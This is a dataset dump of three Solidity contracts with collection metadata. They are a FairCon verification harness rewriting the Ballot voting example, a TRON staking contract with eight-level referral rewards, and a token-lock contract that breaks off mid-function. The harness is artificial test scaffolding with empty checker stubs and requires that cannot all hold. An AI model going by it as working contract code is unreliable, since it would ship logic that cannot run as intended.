hash
stringlengths
64
64
size
int64
7k
624k
ext
stringclasses
1 value
lang
stringclasses
1 value
is_test
bool
2 classes
repo_id
stringclasses
846 values
repo_name
stringclasses
846 values
repo_head
stringclasses
846 values
repo_path
stringlengths
7
155
content_tokens
int64
1.82k
42.6k
content_chars
int64
6.85k
58.7k
content
stringlengths
6.85k
58.7k
__index_level_0__
int64
84
346k
id
int64
0
14.2k
2fb20725e2a66e555ebae43ac3414a4fe3e7644210e3adfad721414f2eead5fc
14,963
.sol
Solidity
false
266261447
ntu-SRSLab/FairCon
5246f029f2ae545a070502f741fcfded42e61b64
contracts/dataset-fse2020-log/voting-R/efficient/Ballot.sol
3,969
14,835
pragma solidity >=0.4.22 <0.7.0; // /// @title Voting with delegation. // contract Ballot { // // This declares a new complex type which will // // be used for variables later. // // It will represent a single voter. // struct Voter { // uint weight; // weight is accumulated by delegation // bool voted; // if true, that person already voted // address delegate; // person delegated to // uint vote; // index of the voted proposal // } // // This is a type for a single proposal. // struct Proposal { // bytes32 name; // short name (up to 32 bytes) // uint voteCount; // number of accumulated votes // } // address public chairperson; // // This declares a state variable that // // stores a `Voter` struct for each possible address. // mapping(address => Voter) public voters; // // A dynamically-sized array of `Proposal` structs. // Proposal[] public proposals; // /// Create a new ballot to choose one of `proposalNames`. // constructor(bytes32[] memory proposalNames) public { // chairperson = msg.sender; // voters[chairperson].weight = 1; // // For each of the provided proposal names, // // create a new proposal object and add it // // to the end of the array. // for (uint i = 0; i < proposalNames.length; i++) { // // `Proposal({...})` creates a temporary // // Proposal object and `proposals.push(...)` // // appends it to the end of `proposals`. // proposals.push(Proposal({ // name: proposalNames[i], // voteCount: 0 // })); // } // } // // Give `voter` the right to vote on this ballot. // // May only be called by `chairperson`. // function giveRightToVote(address voter) public { // // If the first argument of `require` evaluates // // to `false`, execution terminates and all // // changes to the state and to Ether balances // // are reverted. // // This used to consume all gas in old EVM versions, but // // not anymore. // // It is often a good idea to use `require` to check if // // functions are called correctly. // // As a second argument, you can also provide an // // explanation about what went wrong. // require(// msg.sender == chairperson, // "Only chairperson can give right to vote." //); // require(// !voters[voter].voted, // "The voter already voted." //); // require(voters[voter].weight == 0); // voters[voter].weight = 1; // } // /// Delegate your vote to the voter `to`. // function delegate(address to) public { // // assigns reference // Voter storage sender = voters[msg.sender]; // require(!sender.voted, "You already voted."); // require(to != msg.sender, "Self-delegation is disallowed."); // // Forward the delegation as long as // // `to` also delegated. // // In general, such loops are very dangerous, // // because if they run too long, they might // // need more gas than is available in a block. // // In this case, the delegation will not be executed, // // but in other situations, such loops might // // cause a contract to get "stuck" completely. // while (voters[to].delegate != address(0)) { // to = voters[to].delegate; // // We found a loop in the delegation, not allowed. // require(to != msg.sender, "Found loop in delegation."); // } // // Since `sender` is a reference, this // // modifies `voters[msg.sender].voted` // sender.voted = true; // sender.delegate = to; // Voter storage delegate_ = voters[to]; // if (delegate_.voted) { // // If the delegate already voted, // // directly add to the number of votes // proposals[delegate_.vote].voteCount += sender.weight; // } else { // // If the delegate did not vote yet, // // add to her weight. // delegate_.weight += sender.weight; // } // } // /// Give your vote (including votes delegated to you) // /// to proposal `proposals[proposal].name`. // function vote(uint proposal) public { // Voter storage sender = voters[msg.sender]; // require(sender.weight != 0, "Has no right to vote"); // require(!sender.voted, "Already voted."); // sender.voted = true; // sender.vote = proposal; // // If `proposal` is out of the range of the array, // // this will throw automatically and revert all // // changes. // proposals[proposal].voteCount += sender.weight; // } // /// @dev Computes the winning proposal taking all // /// previous votes into account. // function winningProposal() public view // returns (uint winningProposal_) // { // uint winningVoteCount = 0; // for (uint p = 0; p < proposals.length; p++) { // if (proposals[p].voteCount > winningVoteCount) { // winningVoteCount = proposals[p].voteCount; // winningProposal_ = p; // } // } // } // // Calls winningProposal() function to get the index // // of the winner contained in the proposals array and then // // returns the name of the winner // function winnerName() public view // returns (bytes32 winnerName_) // { // winnerName_ = proposals[winningProposal()].name; // } // } contract Rewrite{ // This declares a new complex type which will // be used for variables later. // It will represent a single voter. struct Voter { uint weight; // weight is accumulated by delegation bool voted; // if true, that person already voted address delegate; // person delegated to uint vote; // index of the voted proposal } // This is a type for a single proposal. struct Proposal { bytes32 name; // short name (up to 32 bytes) uint voteCount; // number of accumulated votes } address public chairperson; // This declares a state variable that // stores a `Voter` struct for each possible address. mapping(address => Voter) public voters; // A dynamically-sized array of `Proposal` structs. Proposal[] public proposals; function newProposal(uint numOfProposal) public { proposals.length = numOfProposal; } function vote(address msg_sender, uint proposal) public { // Voter storage sender = voters[msg_sender]; require(voters[msg_sender].weight != 0); require(voters[msg_sender].voted == false); voters[msg_sender].voted = true; voters[msg_sender].vote = proposal; // If `proposal` is out of the range of the array, // this will throw automatically and revert all // changes. proposals[proposal].voteCount = proposals[proposal].voteCount + voters[msg_sender].weight; } function winningProposal() public view returns (uint winningProposal_) { uint winningVoteCount = 0; for (uint p = 0; p < proposals.length; p++) { if (proposals[p].voteCount > winningVoteCount) { winningVoteCount = proposals[p].voteCount; winningProposal_ = p; } } return winningProposal_; } mapping(address=>uint) utilities; mapping(address=>uint) benefits; function sse_winner(address a) public view {} function sse_revenue(uint a) public view {} function sse_utility(uint a) public view {} function sse_maximize(uint a) public view {} function sse_minimize(uint a) public view {} function sse_truthful_violate_check(uint u, bool a, bool b) public view {} function sse_collusion_violate_check(uint u12, bool v1, bool v_1, bool v2, bool v_2) public view{} function sse_efficient_expectation_register(bool allocation, bool other_allocation, uint benefit) public view {} function sse_efficient_violate_check(uint benefit, bool allocation, bool other_allocation) public view {} function sse_optimal_violate_check(uint benefit, address allocation, address other_allocation) public view {} function _Main_(address payable msg_sender1, bool p1, uint p1_value, uint p1_rv_value, bool msg_value1, address payable msg_sender2, bool p2, uint p2_value, uint p2_rv_value, bool msg_value2, address payable msg_sender3, bool p3, uint p3_value, uint p3_rv_value, bool msg_value3, address payable msg_sender4, bool p4, uint p4_value, uint p4_rv_value, bool msg_value4, address payable msg_sender5, bool p5, uint p5_value, uint p5_rv_value, bool msg_value5) public { require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3)); require(!(msg_sender1==msg_sender4 || msg_sender2 == msg_sender4 || msg_sender3 == msg_sender4)); require(!(msg_sender1==msg_sender5 || msg_sender2 == msg_sender5 || msg_sender3 == msg_sender5)); require(!(msg_sender4==msg_sender5)); require(p1_value > p1_rv_value && p1_rv_value > 0); require(p2_value > p2_rv_value && p2_rv_value > 0); require(p3_value > p3_rv_value && p3_rv_value > 0); require(p4_value > p4_rv_value && p4_rv_value > 0); require(p5_value > p5_rv_value && p5_rv_value > 0); uint winner; require(winner==100); require(voters[msg_sender1].weight == 1); require(voters[msg_sender2].weight == 1); require(voters[msg_sender3].weight == 1); require(voters[msg_sender4].weight == 1); require(voters[msg_sender5].weight == 1); require(voters[msg_sender1].voted == false); require(voters[msg_sender2].voted == false); require(voters[msg_sender3].voted == false); require(voters[msg_sender4].voted == false); require(voters[msg_sender5].voted == false); require(utilities[msg_sender1] == 0); require(utilities[msg_sender2] == 0); require(utilities[msg_sender3] == 0); require(utilities[msg_sender4] == 0); require(utilities[msg_sender5] == 0); require(utilities[msg_sender1] == 0); require(utilities[msg_sender2] == 0); require(utilities[msg_sender3] == 0); require(utilities[msg_sender4] == 0); require(utilities[msg_sender5] == 0); // require(msg_value1!=p1); // require(msg_value2==p2); // require(msg_value3==p3); // require(msg_value4==p4); // require(msg_value5==p5); // new proposal first newProposal(2); require(proposals[0].voteCount == 0); require(proposals[1].voteCount == 0); // votes if (msg_value1==false) vote(msg_sender1, 0); else vote(msg_sender1, 1); if (msg_value2==false) vote(msg_sender2, 0); else vote(msg_sender2, 1); if (msg_value3==false) vote(msg_sender3, 0); else vote(msg_sender3, 1); if (msg_value4==false) vote(msg_sender4, 0); else vote(msg_sender4, 1); if (msg_value5==false) vote(msg_sender5, 0); else vote(msg_sender5, 1); //execute Proposal winner = winningProposal(); uint g_false; require(g_false==0); if ((winner==1) == msg_value1){ if (msg_value1 == p1){ utilities[msg_sender1] = p1_value; }else{ utilities[msg_sender1] = p1_rv_value; } }else{ if (msg_value1 == p1){ g_false = g_false + p1_value; }else{ g_false = g_false + p1_rv_value; } } if ((winner==1) == msg_value2){ if (msg_value2 == p2){ utilities[msg_sender2] = p2_value; }else{ utilities[msg_sender2] = p2_rv_value; } }else{ if (msg_value2 == p2){ g_false = g_false + p2_value; }else{ g_false = g_false + p2_rv_value; } } if ((winner==1) == msg_value3){ if (msg_value3 == p3){ utilities[msg_sender3] = p3_value; }else{ utilities[msg_sender3] = p3_rv_value; } }else{ if (msg_value3 == p3){ g_false = g_false + p3_value; }else{ g_false = g_false + p3_rv_value; } } if ((winner==1) == msg_value4){ if (msg_value4 == p4){ utilities[msg_sender4] = p4_value; }else{ utilities[msg_sender4] = p4_rv_value; } }else{ if (msg_value4 == p4){ g_false = g_false + p4_value; }else{ g_false = g_false + p4_rv_value; } } if ((winner==1) == msg_value5){ if (msg_value5 == p5){ utilities[msg_sender5] = p5_value; }else{ utilities[msg_sender5] = p5_rv_value; } }else{ if (msg_value5 == p5){ g_false = g_false + p5_value; }else{ g_false = g_false + p5_rv_value; } } sse_utility(utilities[msg_sender1]); sse_utility(utilities[msg_sender2]); sse_utility(utilities[msg_sender3]); sse_utility(utilities[msg_sender4]); sse_utility(utilities[msg_sender5]); sse_efficient_expectation_register((winner==1), !(winner==1), g_false); sse_efficient_violate_check(utilities[msg_sender1] + utilities[msg_sender2] + utilities[msg_sender3] + utilities[msg_sender4] + utilities[msg_sender5], (winner==1), !(winner==1)); } }
242,241
12,000
a14521a92b20e8b5ced94149add1a3ec51354c3d012e7e64e8f5f4f1bbb87aea
17,108
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TS/TSpJciZTtSTm5bhbw3Zmm6HRvNn6UAfdqd_StarDefi.sol
4,184
16,288
//SourceUnit: StarDefi.sol pragma solidity ^0.5.0; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function burn(address account, uint amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success,) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract IRewardDistributionRecipient is Ownable { address rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public pledge; // Stake Token address uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(IERC20 _pledge) public { pledge = _pledge; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) internal { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); pledge.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); pledge.safeTransfer(msg.sender, amount); } } contract StarDefi is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public mine; uint256 public constant DURATION = 60 days; uint256 public starttime; uint256 public periodFinish; uint256 public rewardRate; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; uint256 public validAmount; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => address) public referralRelationships; // store referall relationship: referree > referrer mapping(address => uint256) public referralRewards; mapping(address => uint256) private _teamCount; mapping(address => uint256) public directCount; mapping(address => uint256) private _teamAmount; uint256[] awardLevel = [50,20,10,4,4,4,4,4]; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } constructor(IERC20 _pledge, IERC20 _mine, uint _starttime,uint256 _validAmount) public LPTokenWrapper(_pledge) { starttime = _starttime; mine = _mine; validAmount = _validAmount * 1e6; } function teamCount(address _addr) public view returns(uint256) { return _teamCount[_addr].add(1); } function teamAmount(address _addr) public view returns(uint256) { return _teamAmount[_addr].add(balanceOf(_addr)); } function _updateReferralRelationship(address user, address referrer, uint256 amount) internal { if (referrer == user) { // referrer cannot be user himself/herself return; } if (referrer == address(0)) { // Cannot be address 0 return; } if(referralRelationships[user] == address(0)) { referralRelationships[user] = referrer; } else { referrer = referralRelationships[user]; } // teamAmount[user] = teamAmount[user].add(amount); address parent = referrer; for (uint256 i = 0; i < 8; i++) { if(parent != address(0)) { _teamAmount[parent] = _teamAmount[parent].add(amount); parent = referralRelationships[parent]; } else { break; } } if(balanceOf(user) >= validAmount) { directCount[referrer] = directCount[referrer].add(1); parent = referrer; for (uint256 i = 0; i < 8; i++) { if(parent != address(0)) { _teamCount[parent] = _teamCount[parent].add(1); parent = referralRelationships[parent]; } else { break; } } } } function _reducePerentPerformance(address user,uint256 amount) internal { address parent = referralRelationships[user]; for (uint256 i = 0; i < 8; i++) { if(parent != address(0)) { _teamAmount[parent] = _teamAmount[parent].sub(amount); parent = referralRelationships[parent]; } else { break; } } } function getReferrer(address account) public view returns (address) { return referralRelationships[account]; } function getReferralRewards(address account) public view returns (uint256) { return referralRewards[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add(lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply())); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function deposit(uint256 amount, address referrer) public updateReward(msg.sender) checkStart{ require(amount > 0, "Cannot stake 0"); require(block.timestamp < periodFinish, "mint finish"); super.stake(amount); _updateReferralRelationship(msg.sender, referrer, amount); //only update referrer when staking emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart{ require(amount > 0, "Cannot withdraw 0"); uint256 beforeBalance = balanceOf(msg.sender); super.withdraw(amount); if(beforeBalance >= validAmount && balanceOf(msg.sender) < validAmount) { address parent = referralRelationships[msg.sender]; directCount[parent] = directCount[parent].sub(1); for (uint256 i = 0; i < 8; i++) { if(parent != address(0)) { _teamCount[parent] = _teamCount[parent].sub(1); parent = referralRelationships[parent]; } else { break; } } } _reducePerentPerformance(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public updateReward(msg.sender) checkStart{ require(block.timestamp > periodFinish, "mint not finish"); uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; safeMineTransfer(msg.sender, reward); address referrer = referralRelationships[msg.sender]; for(uint i = 0; i < 8; i++) { if(referrer != address(0)) { if(directCount[referrer] > i && balanceOf(referrer) >= validAmount) { uint256 referrerFee = reward.mul(awardLevel[i]).div(100); referralRewards[referrer] = referralRewards[referrer].add(referrerFee); safeMineTransfer(referrer, referrerFee); } referrer = referralRelationships[referrer]; } else { break; } } emit RewardPaid(msg.sender, reward); } } function safeMineTransfer(address _to, uint256 _amount) internal { uint256 mineBalance = mine.balanceOf(address(this)); if(_amount > mineBalance) { mine.safeTransfer(_to, mineBalance); } else { mine.safeTransfer(_to, _amount); } } modifier checkStart(){ require(block.timestamp > starttime,"not start"); _; } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); } emit RewardAdded(reward); } }
286,627
12,001
86df84786f87b962c6ca162571fb4d80cdafccc40d0753c1f2e3003e5ddfcd7f
31,311
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0xDF5B0ec59424755096b8C1440BD254f3cb50CBd1/contract.sol
4,312
16,720
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract WaultLocker is Ownable{ using SafeMath for uint256; struct Items { IERC20 token; address withdrawer; uint256 amount; uint256 unlockTimestamp; bool withdrawn; uint256 taxPermille; bool isCustom; bool deposited; } uint256 public depositsCount; mapping (address => uint256[]) public depositsByWithdrawerAddress; mapping (address => uint256[]) public depositsByTokenAddress; mapping (uint256 => Items) public lockedToken; mapping (address => mapping(address => uint256)) public walletTokenBalance; uint256 public taxPermille = 2; address public waultMarkingAddress; event Withdraw(address withdrawer, uint256 amount); constructor(address _waultMarkingAddress) { waultMarkingAddress = _waultMarkingAddress; } function lockTokens(IERC20 _token, address _withdrawer, uint256 _amount, uint256 _unlockTimestamp) external returns (uint256 _id) { require(_amount > 0, 'Token amount too low!'); require(_unlockTimestamp < 10000000000, 'Unlock timestamp is not in seconds!'); require(_unlockTimestamp > block.timestamp, 'Unlock timestamp is not in the future!'); require(_token.allowance(msg.sender, address(this)) >= _amount, 'Approve tokens first!'); require(_token.transferFrom(msg.sender, address(this), _amount), 'Transfer of tokens failed!'); uint256 tax = _amount.mul(taxPermille).div(1000); require(_token.transfer(waultMarkingAddress, tax), 'Taxing failed!'); walletTokenBalance[address(_token)][msg.sender] = walletTokenBalance[address(_token)][msg.sender].add(_amount.sub(tax)); _id = ++depositsCount; lockedToken[_id].token = _token; lockedToken[_id].withdrawer = _withdrawer; lockedToken[_id].amount = _amount.sub(tax); lockedToken[_id].unlockTimestamp = _unlockTimestamp; lockedToken[_id].withdrawn = false; lockedToken[_id].taxPermille = taxPermille; lockedToken[_id].isCustom = false; lockedToken[_id].deposited = true; depositsByWithdrawerAddress[_withdrawer].push(_id); depositsByTokenAddress[address(_token)].push(_id); } function addCustomLock(IERC20 _token, address _withdrawer, uint256 _amount, uint256 _unlockTimestamp, uint256 _taxPermille) external onlyOwner returns (uint256 _id) { require(_amount > 0, 'Token amount too low!'); require(_unlockTimestamp < 10000000000, 'Unlock timestamp is not in seconds!'); require(_unlockTimestamp > block.timestamp, 'Unlock timestamp is not in the future!'); _id = ++depositsCount; lockedToken[_id].token = _token; lockedToken[_id].withdrawer = _withdrawer; lockedToken[_id].amount = _amount; lockedToken[_id].unlockTimestamp = _unlockTimestamp; lockedToken[_id].withdrawn = false; lockedToken[_id].taxPermille = _taxPermille; lockedToken[_id].isCustom = true; 